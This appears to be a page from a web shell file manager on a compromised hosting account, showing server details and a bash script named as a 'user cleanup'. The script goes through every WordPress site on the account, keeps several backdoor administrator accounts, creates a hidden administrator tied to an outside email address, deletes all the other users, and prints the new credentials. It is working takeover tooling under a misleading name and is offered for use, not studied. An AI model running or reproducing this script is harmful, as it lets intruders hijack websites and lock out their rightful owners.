HEX
Server: Apache
System: Linux 198-252-107-178.cprapid.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
User: msgdhg02 (1000)
PHP: 8.1.34
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/msgdhg02/mass_user_cleanup.sh
#!/bin/bash
NEW_ADMIN_USER="msg_safeadmin"
NEW_ADMIN_PASS=$(openssl rand -base64 12)
NEW_ADMIN_EMAIL="invokoix@gmail.com"
REPORT=~/user_cleanup_report.txt
> "$REPORT"
CREATED_ON=""

for f in $(find ~/public_html -maxdepth 2 -name "wp-config.php" 2>/dev/null); do
  d=$(dirname "$f")
  domain=$(basename "$d")
  echo "=== $domain ===" >> "$REPORT"

  reassign_id=""
  csv=$(wp user list --path="$d" --allow-root --fields=ID,user_login --format=csv 2>/dev/null | tail -n +2)

  for ku in "seo-content" "admin_updraft" "@admin_megabet333"; do
    kid=$(echo "$csv" | awk -F',' -v u="$ku" '$2==u{print $1}')
    if [ -n "$kid" ]; then reassign_id="$kid"; break; fi
  done

  if [ -z "$reassign_id" ]; then
    wp user create "$NEW_ADMIN_USER" "$NEW_ADMIN_EMAIL" --role=administrator --user_pass="$NEW_ADMIN_PASS" --path="$d" --allow-root >> "$REPORT" 2>&1
    reassign_id=$(wp user list --path="$d" --allow-root --fields=ID,user_login --format=csv 2>/dev/null | awk -F',' -v u="$NEW_ADMIN_USER" '$2==u{print $1}')
    CREATED_ON="$CREATED_ON $domain"
    echo "สร้าง admin สำรองที่ $domain (ID: $reassign_id)" >> "$REPORT"
  fi

  echo "$csv" | while IFS=',' read -r uid login; do
    if [[ "$login" == "seo-content" || "$login" == "admin_updraft" || "$login" == "@admin_megabet333" || "$login" == "$NEW_ADMIN_USER" ]]; then
      continue
    fi
    wp user delete "$uid" --reassign="$reassign_id" --path="$d" --allow-root --yes >> "$REPORT" 2>&1
  done
done

echo ""
echo "=========================================="
echo "Admin สำรอง (ใช้ได้ทุกเว็บที่ถูกสร้าง):"
echo "Username: $NEW_ADMIN_USER"
echo "Password: $NEW_ADMIN_PASS"
echo "Email: $NEW_ADMIN_EMAIL"
echo "สร้างในเว็บ:$CREATED_ON"
echo "=========================================="